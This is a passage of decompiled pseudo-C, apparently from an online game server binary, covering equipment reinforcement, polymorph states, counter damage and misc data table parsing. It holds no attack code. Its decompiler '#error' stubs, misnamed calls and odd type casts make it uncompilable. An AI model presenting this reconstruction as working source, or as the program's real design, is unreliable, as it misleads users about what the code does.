[sp+48h] [bp-34h]@1 int v38; // [sp+4Ch] [bp-30h]@10 void *invcell; // [sp+50h] [bp-2Ch]@8 char emptycelliter; // [sp+54h] [bp-28h]@6 int v41; // [sp+58h] [bp-24h]@10 int v42; // [sp+5Ch] [bp-20h]@10 ItemBoxIterEmpty emptycellitertmp; // [sp+60h] [bp-1Ch]@6 int v44; // [sp+78h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 14442); v44 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(char *, signed int, int))(v3 + 12))((char *)v2 + 57768, 8, equipslot) ) { v35 = "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip"; LABEL_12: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v35); return; } v4 = (DiceTaiSai *)(*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v2 + 8050))( (char *)v2 + 32200, equipslot); v5 = v4; if ( !v4 || (MoveManager::MoveManager(v4), !v6) || (MoveManager::MoveManager(v5), *(_WORD *)(v7 + 8) == -1) ) { v35 = "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip"; goto LABEL_12; } v8 = (ChargedEffectContainer *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1156))(v2); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1128))(v2); ItemBoxIterEmpty::ItemBoxIterEmpty(&emptycellitertmp, (ItemBag *)(v9 + 3368), v8); v10 = *(_DWORD *)v2; LOBYTE(v44) = 1; v11 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(void *))(v10 + 1916))(v2); InventoryLocking::UnlockedInventoryIterator::UnlockedInventoryIterator( (InventoryLocking::UnlockedInventoryIterator *)&emptycelliter, 9, &emptycellitertmp.baseclass_0, v11); LOBYTE(v44) = 2; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&emptycelliter) ) { v12 = InventoryLocking::UnlockedInventoryIterator::uii_Slot((InventoryLocking::UnlockedInventoryIterator *)&emptycelliter); v13 = v12; v14 = (void *)(*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v2 + 8892))( (char *)v2 + 35568, v12); v15 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13439; invcell = v14; *((_WORD *)v15 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v15 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); v16 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); *((_WORD *)v15 + 9) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v16); v36 = (int)(v15 + 16); *((_WORD *)v15 + 8) = v13 & 0x3FF | 0x2400; MoveManager::MoveManager(v5); *((_DWORD *)v15 + 2) = *(_DWORD *)v17; *((_DWORD *)v15 + 3) = *(_DWORD *)(v17 + 4); v18 = (int)(v15 + 20); *(_WORD *)v18 = equipslot & 0x3FF | 0x2000; v19 = ProtocolPacket::pp_SetPacketLen(&gpp, 22); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v19, "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip : Packet Too Long", 22) ) { v20 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v20); } v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); v22 = *(_DWORD *)v21; v23 = *(_DWORD *)v2; v38 = v21; v24 = (*(int (__thiscall **)(void *, DiceTaiSai *, int, int))(v23 + 1916))(v2, v5, v18, v36); LOWORD(v25) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v24); (*(void (__thiscall **)(int, int))(v22 + 40))(v41, v25); v26 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1916))(v2); v38 = *(_DWORD *)v26; MoveManager::MoveManager(v5); v28 = (*(int (__thiscall **)(void *, void *, int, int, int))(*(_DWORD *)v2 + 1916))(v2, invcell, v27, v36, v18); LOWORD(v29) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v28); (*(void (__thiscall **)(int, int))(v42 + 48))(v26, v29); v30 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1916))(v2); v31 = *(_DWORD *)v30; v32 = (*(int (__thiscall **)(void *, int, DiceTaiSai *, signed int, _DWORD))(*(_DWORD *)v2 + 1916))( v2, equipslot, v5, -1, 0); LOWORD(v33) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v32); (*(void (__thiscall **)(int, int))(v31 + 64))(v30, v33); v34 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1916))(v2); InventoryLocking::InventoryCellLock::icl_IncIndex(v34); LOBYTE(v44) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&emptycelliter); LOBYTE(v44) = 0; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&emptycellitertmp); v44 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { LOBYTE(v44) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&emptycelliter); LOBYTE(v44) = 0; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&emptycellitertmp); v44 = -1; FunctionEntarance::_FunctionEntarance(&_); } } //----- (00476610) -------------------------------------------------------- #error "476610: undefined or illegal type '#331' (funcsize=95)" //----- (00476770) -------------------------------------------------------- #error "476770: undefined or illegal type '#331' (funcsize=60)" //----- (00476850) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShineMobileObject::so_smo_CrossCounterDamage(void *this, #331 *a2) { void *v2; // esi@1 char v3; // al@1 int v4; // edi@2 int v5; // edx@4 int v7; // edi@7 EngageArgument engarg; // [sp+10h] [bp-28h]@4 int v9; // [sp+34h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_CrossCounterDamage"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_smo_CrossCounterDamage"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_BYTE *)v2 + 7416); v9 = 0; if ( !(v3 & 0x10) || (v4 = *((_DWORD *)v2 + 1798)) == 0 || !*(_DWORD *)(v4 + 64) ) goto LABEL_6; EngageArgument::EngageArgument( &engarg, (#331 *)v2, a2, (SkillDataBox::SkillDataIndex *)v4, (SKILL_EMPOWER *)v2 + 3606, *(SHINE_XY_TYPE **)((char *)v2 + 78)); v5 = **(_DWORD **)(v4 + 64); LOBYTE(v9) = 1; if ( !(unsigned __int8)(*(int (**)(void))(v5 + 32))() ) { LOBYTE(v9) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&engarg); LABEL_6: --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_CrossCounterDamage"); return -1; } v7 = (*(int (__stdcall **)(EngageArgument *))(**(_DWORD **)(v4 + 64) + 28))(&engarg); *((_BYTE *)v2 + 7416) &= 0xEFu; *((_DWORD *)v2 + 1793) = 0; LOBYTE(v9) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&engarg); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_CrossCounterDamage"); return v7; } //----- (004769A0) -------------------------------------------------------- #error "4769A0: undefined or illegal type '#331' (funcsize=101)" //----- (00476B00) -------------------------------------------------------- #error "476B00: undefined or illegal type '#331' (funcsize=108)" //----- (00476C90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_Polymorph(void *this, int a2) { void *v2; // esi@1 signed __int16 v3; // di@2 AbnormalStateDictionary::AbState::AbStateStr *v4; // eax@2 char *v5; // eax@5 int v6; // ST0C_4@5 int v7; // eax@5 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@5 int v9; // [sp+20h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_Polymorph"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_Polymorph"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; if ( a2 ) { v3 = *(_WORD *)(a2 + 20); v4 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, STA_IMMORTAL); (*(void (__thiscall **)(void *, void *, signed int, signed int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, _DWORD, signed int, signed int))(*(_DWORD *)v2 + 1528))( v2, v2, 291, 1, v4, clockwatch.cw_CurrTick, 0, 0, 1000000000, 9); } else { v3 = -1; if ( (*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 988))(v2, 291) ) (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 1544))(v2, 291); } *(_WORD *)(*(_DWORD *)((char *)v2 + 32047) + 78) = v3; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4271; *((_WORD *)v5 + 1) = *((_WORD *)v2 + 2); *((_WORD *)v5 + 2) = v3; *((_WORD *)v5 + 3) = -1; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v6 = *(_DWORD *)((char *)v2 + 78); LOBYTE(v9) = 1; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v7, v6, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v9) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_Polymorph"); } //----- (00476DF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_DEPOLYMORPH_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@1 int v6; // ST04_4@1 int v7; // eax@1 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@1 int v9; // [sp+24h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_DEPOLYMORPH_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_DEPOLYMORPH_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)(*(_DWORD *)((char *)v4 + 32047) + 78) = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4271; *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); v9 = 0; *((_WORD *)v5 + 2) = -1; *((_WORD *)v5 + 3) = -1; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v6 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v9) = 1; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v7, v6, 0, 0, (int)&alchat, 1, 65535); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1544))(v4, 97); if ( (*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 988))(v4, 291) ) (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1544))(v4, 291); AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, STA_IMMORTAL); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1544))(v4, 291); LOBYTE(v9) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_DEPOLYMORPH_CMD"); } //----- (00476F40) -------------------------------------------------------- char __stdcall ShineObjectClass::ShineObject::so_mob_CanBeAttackedByPlayer(int a1) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanBeAttackedByPlayer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_CanBeAttackedByPlayer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanBeAttackedByPlayer"); return 0; } //----- (00476F90) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_mob_CanBeAttackedByPlayer(void *this, int a2) { void *v2; // esi@1 int v3; // ebx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMap::so_mob_CanBeAttackedByPlayer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMap::so_mob_CanBeAttackedByPlayer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (*(int (**)(void))(*(_DWORD *)a2 + 2160))(); LOBYTE(v3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2160))(v2) != v3; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMap::so_mob_CanBeAttackedByPlayer"); return v3; } //----- (00477050) -------------------------------------------------------- #error "477050: undefined or illegal type '#440' (funcsize=54)" //----- (00477140) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_Polymorph(MiscDataTable *this, OptionReader *miscdata) { int i; // ebx@1 void *v3; // eax@2 void *v4; // edi@2 unsigned __int8 v5; // al@3 int v6; // eax@6 int v7; // esi@6 unsigned int v8; // eax@6 char v9; // cl@8 char v10; // cl@8 ORToken v11; // [sp-18h] [bp-30h]@2 int v12; // [sp-14h] [bp-2Ch]@2 int v13; // [sp-10h] [bp-28h]@2 int v14; // [sp-Ch] [bp-24h]@2 int v15; // [sp-8h] [bp-20h]@2 int v16; // [sp-4h] [bp-1Ch]@2 void *v17; // [sp+10h] [bp-8h]@1 ORToken *v18; // [sp+14h] [bp-4h]@2 v17 = this; for ( i = 0; ; ++i ) { v16 = i; v18 = &v11; v15 = 0; v14 = 0; v13 = 0; v12 = 0; *(_DWORD *)&v11.ort_Name[0] = 0; strncpy(v11.ort_Name, "Polymorph", 0x14u); v3 = OptionReader::or_SelectFromOrder(miscdata, v11, v16); v4 = v3; if ( !v3 ) break; v5 = *(_BYTE *)v3; if ( *(_BYTE *)v4 != *((_BYTE *)v4 + 69) ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_Polymorph : Checksum error", v5); ShineExit("MiscDataTable::mdt_Polymorph"); } MiscDataTable::mdt_SkillBufferAlloc(v17, (const char *)v4 + 1); v7 = v6; v8 = BTree::operator__(&mobdatabox.mdb_btree, (const char *)v4 + 34); if ( v8 == -1 ) LOWORD(v8) = -1; v9 = *(_BYTE *)(v7 + 22); *(_WORD *)(v7 + 20) = v8; v10 = (v9 ^ *((_BYTE *)v4 + 67)) & 1 ^ v9; *(_BYTE *)(v7 + 22) = v10; *(_BYTE *)(v7 + 22) = v10 ^ (v10 ^ 2 * *((_BYTE *)v4 + 68)) & 2; } } //----- (00477220) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_Neutralization(MiscDataTable *this, OptionReader *miscdata) { int i; // edi@1 void *v3; // eax@2 void *v4; // esi@2 unsigned __int8 v5; // al@3 int v6; // eax@6 int v7; // [sp-18h] [bp-2Ch]@2 int v8; // [sp-14h] [bp-28h]@2 int v9; // [sp-10h] [bp-24h]@2 int v10; // [sp-Ch] [bp-20h]@2 int v11; // [sp-8h] [bp-1Ch]@2 int v12; // [sp-4h] [bp-18h]@2 void *v13; // [sp+10h] [bp-4h]@1 v13 = this; for ( i = 0; ; ++i ) { v12 = i; v11 = 0; v10 = 0; v9 = 0; v8 = 0; v7 = 0; strncpy((char *)&v7, "Neutralization", 0x14u); v3 = OptionReader::or_SelectFromOrder(miscdata, *(ORToken *)&v7, v12); v4 = v3; if ( !v3 ) break; v5 = *(_BYTE *)v3; if ( *(_BYTE *)v4 != *((_BYTE *)v4 + 42) ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_Neutralization : Checksum error", v5); ShineExit("MiscDataTable::mdt_Neutralization"); } MiscDataTable::mdt_SkillBufferAlloc(v13, (const char *)v4 + 1); *(_BYTE *)(v6 + 23) = 1; *(_WORD *)(v6 + 48) = *((_WORD *)v4 + 17); *(_WORD *)(v6 + 44) = *((_WORD *)v4 + 18); *(_WORD *)(v6 + 38) = *((_WORD *)v4 + 19); *(_WORD *)(v6 + 62) = *((_WORD *)v4 + 20); } } //----- (004772E0) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_AbStateReset(MiscDataTable *this, OptionReader *miscdata) { void *v2; // eax@2 void *v3; // edi@2 unsigned __int8 v4; // al@3 MiscDataTable::MiscData_AbState *v5; // esi@6 char v6; // cl@6 char v7; // al@6 char v8; // cl@6 int v9; // ebx@6 int v10; // edx@6 int v11; // ecx@6 int v12; // edx@6 char *v13; // eax@18 int v14; // edi@19 int v15; // ebx@19 int v16; // ecx@19 int v17; // eax@19 int v18; // ecx@19 char *v19; // eax@31 ORToken v20; // [sp-18h] [bp-F0h]@2 int v21; // [sp-14h] [bp-ECh]@2 int v22; // [sp-10h] [bp-E8h]@2 int v23; // [sp-Ch] [bp-E4h]@2 int v24; // [sp-8h] [bp-E0h]@2 int v25; // [sp-4h] [bp-DCh]@2 int k; // [sp+10h] [bp-C8h]@1 char v27[4]; // [sp+14h] [bp-C4h]@25 int v28; // [sp+18h] [bp-C0h]@25 int v29; // [sp+1Ch] [bp-BCh]@25 int v30; // [sp+20h] [bp-B8h]@25 int v31; // [sp+24h] [bp-B4h]@25 char v32[4]; // [sp+28h] [bp-B0h]@6 int v33; // [sp+2Ch] [bp-ACh]@6 int v34; // [sp+30h] [bp-A8h]@6 int v35; // [sp+34h] [bp-A4h]@6 int v36; // [sp+38h] [bp-A0h]@6 char v37[4]; // [sp+3Ch] [bp-9Ch]@12 int v38; // [sp+40h] [bp-98h]@12 int v39; // [sp+44h] [bp-94h]@12 int v40; // [sp+48h] [bp-90h]@12 int v41; // [sp+4Ch] [bp-8Ch]@12 char v42[4]; // [sp+50h] [bp-88h]@19 int v43; // [sp+54h] [bp-84h]@19 int v44; // [sp+58h] [bp-80h]@19 int v45; // [sp+5Ch] [bp-7Ch]@19 int v46; // [sp+60h] [bp-78h]@19 MiscDataTable *thisa; // [sp+64h] [bp-74h]@1 ORToken *v48; // [sp+68h] [bp-70h]@2 int v49; // [sp+70h] [bp-68h]@19 int v50; // [sp+74h] [bp-64h]@19 int v51; // [sp+78h] [bp-60h]@19 int v52; // [sp+7Ch] [bp-5Ch]@19 int v53; // [sp+84h] [bp-54h]@6 int v54; // [sp+88h] [bp-50h]@6 int v55; // [sp+8Ch] [bp-4Ch]@6 int v56; // [sp+90h] [bp-48h]@6 char buffer[64]; // [sp+94h] [bp-44h]@18 thisa = this; for ( k = 0; ; ++k ) { v25 = k; v48 = &v20; v24 = 0; v23 = 0; v22 = 0; v21 = 0; *(_DWORD *)&v20.ort_Name[0] = 0; strncpy(v20.ort_Name, "AbStateReset", 0x14u); v2 = OptionReader::or_SelectFromOrder(miscdata, v20, v25); v3 = v2; if ( !v2 ) break; v4 = *(_BYTE *)v2; if ( *(_BYTE *)v3 != *((_BYTE *)v3 + 78) ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateReset : Checksum error", v4); ShineExit("MiscDataTable::mdt_AbStateReset"); } v5 = MiscDataTable::mdt_AbStateBufferAlloc(thisa, (char *)v3 + 1); v6 = (v5->mdas_ResetCondition._bf0 ^ *((_BYTE *)v3 + 34)) & 1 ^ v5->mdas_ResetCondition._bf0; v5->mdas_ResetCondition._bf0 = v6; v7 = v6 ^ (v6 ^ 2 * *((_BYTE *)v3 + 35)) & 2; v5->mdas_ResetCondition._bf0 = v7; v8 = v7 ^ (v7 ^ 4 * *((_BYTE *)v3 + 36)) & 4; v5->mdas_ResetCondition._bf0 = v8; v5->mdas_ResetCondition._bf0 = v8 ^ (v8 ^ 8 * *((_BYTE *)v3 + 37)) & 8; v9 = *(_DWORD *)((char *)v3 + 38); v10 = *(_DWORD *)((char *)v3 + 46); v53 = *(_DWORD *)((char *)v3 + 42); v11 = *(_DWORD *)((char *)v3 + 50); v54 = v10; v12 = *(_DWORD *)((char *)v3 + 54); v55 = v11; v56 = v12; v36 = 0; v35 = 0; v34 = 0; v33 = 0; *(_DWORD *)v32 = 0; strncpy(v32, (const char *)&stru_598DE4.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 0x14u); if ( v9 != *(_DWORD *)v32 || v53 != v33 || v54 != v34 || v55 != v35 || v56 != v36 ) { v41 = 0; v40 = 0; v39 = 0; v38 = 0; *(_DWORD *)v37 = 0; strncpy(v37, "LeftHand", 0x14u); if ( v9 != *(_DWORD *)v37 || v53 != v38 || v54 != v39 || v55 != v40 || v56 != v41 ) { v13 = ORToken::ort_GetString((ORToken *)((char *)v3 + 38), buffer); AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateReset : EquipWhere", v13); } else { *(_DWORD *)&v5->mdas_ResetEquipment._bf0 = 1; } } else { *(_DWORD *)&v5->mdas_ResetEquipment._bf0 = 0; } v14 = (int)((char *)v3 + 58); v15 = *(_DWORD *)v14; v16 = *(_DWORD *)(v14 + 8); v49 = *(_DWORD *)(v14 + 4); v17 = *(_DWORD *)(v14 + 12); v50 = v16; v18 = *(_DWORD *)(v14 + 16); v51 = v17; v52 = v18; v46 = 0; v45 = 0; v44 = 0; v43 = 0; *(_DWORD *)v42 = 0; strncpy(v42, (const char *)&stru_598DE4.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 0x14u); if ( v15 != *(_DWORD *)v42 || v49 != v43 || v50 != v44 || v51 != v45 || v52 != v46 ) { v31 = 0; v30 = 0; v29 = 0; v28 = 0; *(_DWORD *)v27 = 0; strncpy(v27, "Shield", 0x14u); if ( v15 != *(_DWORD *)v27 || v49 != v28 || v50 != v29 || v51 != v30 || v52 != v31 ) { v19 = ORToken::ort_GetString((ORToken *)v14, buffer); AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateReset : EquipClass", v19); } else { *(_DWORD *)&v5->gap5[3] = 1; } } else { *(_DWORD *)&v5->gap5[3] = 0; } if ( *(_DWORD *)&v5->mdas_ResetEquipment._bf0 && !*(_DWORD *)&v5->gap5[3] ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateReset : Invalis match", 0); ShineExit("MiscDataTable::mdt_Load"); } } } //----- (00477640) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_SkillBreedMob(MiscDataTable *this, OptionReader *miscdata) { void *v2; // eax@2 void *v3; // ebx@2 unsigned __int8 v4; // al@3 unsigned int v5; // eax@6 signed __int16 v6; // di@6 unsigned int v7; // eax@11 unsigned int v8; // ebp@11 char v9; // cl@11 unsigned int v10; // edi@13 int v11; // edi@17 int v12; // ecx@17 int v13; // eax@17 int v14; // ecx@17 char *v15; // eax@41 int v16; // edi@43 int v17; // edx@43 int v18; // ecx@43 int v19; // edx@43 char *v20; // eax@55 int v21; // edi@57 int v22; // ebp@57 int v23; // edx@57 int v24; // eax@57 unsigned int v25; // ebp@62 char *v26; // eax@81 int v27; // edi@89 int v28; // edx@89 int v29; // ecx@89 int v30; // edx@89 char *v31; // eax@119 int v32; // edx@121 int v33; // edi@121 int v34; // ebx@121 int v35; // eax@121 int v36; // ecx@121 int v37; // edx@121 ORToken v38; // [sp-18h] [bp-2DCh]@2 int v39; // [sp-14h] [bp-2D8h]@2 int v40; // [sp-10h] [bp-2D4h]@2 int v41; // [sp-Ch] [bp-2D0h]@2 int v42; // [sp-8h] [bp-2CCh]@2 int v43; // [sp-4h] [bp-2C8h]@2 unsigned int explosion; // [sp+10h] [bp-2B4h]@2 int k; // [sp+14h] [bp-2B0h]@1 char v46[4]; // [sp+18h] [bp-2ACh]@57 int v47; // [sp+1Ch] [bp-2A8h]@57 int v48; // [sp+20h] [bp-2A4h]@57 int v49; // [sp+24h] [bp-2A0h]@57 int v50; // [sp+28h] [bp-29Ch]@57 char v51[4]; // [sp+2Ch] [bp-298h]@69 int v52; // [sp+30h] [bp-294h]@69 int v53; // [sp+34h] [bp-290h]@69 int v54; // [sp+38h] [bp-28Ch]@69 int v55; // [sp+3Ch] [bp-288h]@69 char v56[4]; // [sp+40h] [bp-284h]@49 int v57; // [sp+44h] [bp-280h]@49 int v58; // [sp+48h] [bp-27Ch]@49 int v59; // [sp+4Ch] [bp-278h]@49 int v60; // [sp+50h] [bp-274h]@49 char v61[4]; // [sp+54h] [bp-270h]@121 int v62; // [sp+58h] [bp-26Ch]@121 int v63; // [sp+5Ch] [bp-268h]@121 int v64; // [sp+60h] [bp-264h]@121 int v65; // [sp+64h] [bp-260h]@121 char v66[4]; // [sp+68h] [bp-25Ch]@17 int v67; // [sp+6Ch] [bp-258h]@17 int v68; // [sp+70h] [bp-254h]@17 int v69; // [sp+74h] [bp-250h]@17 int v70; // [sp+78h] [bp-24Ch]@17 char v71[4]; // [sp+7Ch] [bp-248h]@63 int v72; // [sp+80h] [bp-244h]@63 int v73; // [sp+84h] [bp-240h]@63 int v74; // [sp+88h] [bp-23Ch]@63 int v75; // [sp+8Ch] [bp-238h]@63 char v76[4]; // [sp+90h] [bp-234h]@29 int v77; // [sp+94h] [bp-230h]@29 int v78; // [sp+98h] [bp-22Ch]@29 int v79; // [sp+9Ch] [bp-228h]@29 int v80; // [sp+A0h] [bp-224h]@29 char v81[4]; // [sp+A4h] [bp-220h]@75 int v82; // [sp+A8h] [bp-21Ch]@75 int v83; // [sp+ACh] [bp-218h]@75 int v84; // [sp+B0h] [bp-214h]@75 int v85; // [sp+B4h] [bp-210h]@75 char v86[4]; // [sp+B8h] [bp-20Ch]@43 int v87; // [sp+BCh] [bp-208h]@43 int v88; // [sp+C0h] [bp-204h]@43 int v89; // [sp+C4h] [bp-200h]@43 int v90; // [sp+C8h] [bp-1FCh]@43 char v91[4]; // [sp+CCh] [bp-1F8h]@89 int v92; // [sp+D0h] [bp-1F4h]@89 int v93; // [sp+D4h] [bp-1F0h]@89 int v94; // [sp+D8h] [bp-1ECh]@89 int v95; // [sp+DCh] [bp-1E8h]@89 char v96[4]; // [sp+E0h] [bp-1E4h]@23 int v97; // [sp+E4h] [bp-1E0h]@23 int v98; // [sp+E8h] [bp-1DCh]@23 int v99; // [sp+ECh] [bp-1D8h]@23 int v100; // [sp+F0h] [bp-1D4h]@23 char v101[4]; // [sp+F4h] [bp-1D0h]@95 int v102; // [sp+F8h] [bp-1CCh]@95 int v103; // [sp+FCh] [bp-1C8h]@95 int v104; // [sp+100h] [bp-1C4h]@95 int v105; // [sp+104h] [bp-1C0h]@95 char v106[4]; // [sp+108h] [bp-1BCh]@113 int v107; // [sp+10Ch] [bp-1B8h]@113 int v108; // [sp+110h] [bp-1B4h]@113 int v109; // [sp+114h] [bp-1B0h]@113 int v110; // [sp+118h] [bp-1ACh]@113 char v111[4]; // [sp+11Ch] [bp-1A8h]@101 int v112; // [sp+120h] [bp-1A4h]@101 int v113; // [sp+124h] [bp-1A0h]@101 int v114; // [sp+128h] [bp-19Ch]@101 int v115; // [sp+12Ch] [bp-198h]@101 char v116[4]; // [sp+130h] [bp-194h]@35 int v117; // [sp+134h] [bp-190h]@35 int v118; // [sp+138h] [bp-18Ch]@35 int v119; // [sp+13Ch] [bp-188h]@35 int v120; // [sp+140h] [bp-184h]@35 char v121[4]; // [sp+144h] [bp-180h]@107 int v122; // [sp+148h] [bp-17Ch]@107 int v123; // [sp+14Ch] [bp-178h]@107 int v124; // [sp+150h] [bp-174h]@107 int v125; // [sp+154h] [bp-170h]@107 void *v126; // [sp+158h] [bp-16Ch]@1 int v127; // [sp+160h] [bp-164h]@89 int v128; // [sp+164h] [bp-160h]@89 int v129; // [sp+168h] [bp-15Ch]@89 int v130; // [sp+16Ch] [bp-158h]@89 int v131; // [sp+174h] [bp-150h]@17 int v132; // [sp+178h] [bp-14Ch]@17 int v133; // [sp+17Ch] [bp-148h]@17 int v134; // [sp+180h] [bp-144h]@17 int v135; // [sp+18Ch] [bp-138h]@57 int v136; // [sp+190h] [bp-134h]@57 int v137; // [sp+194h] [bp-130h]@57 int v138; // 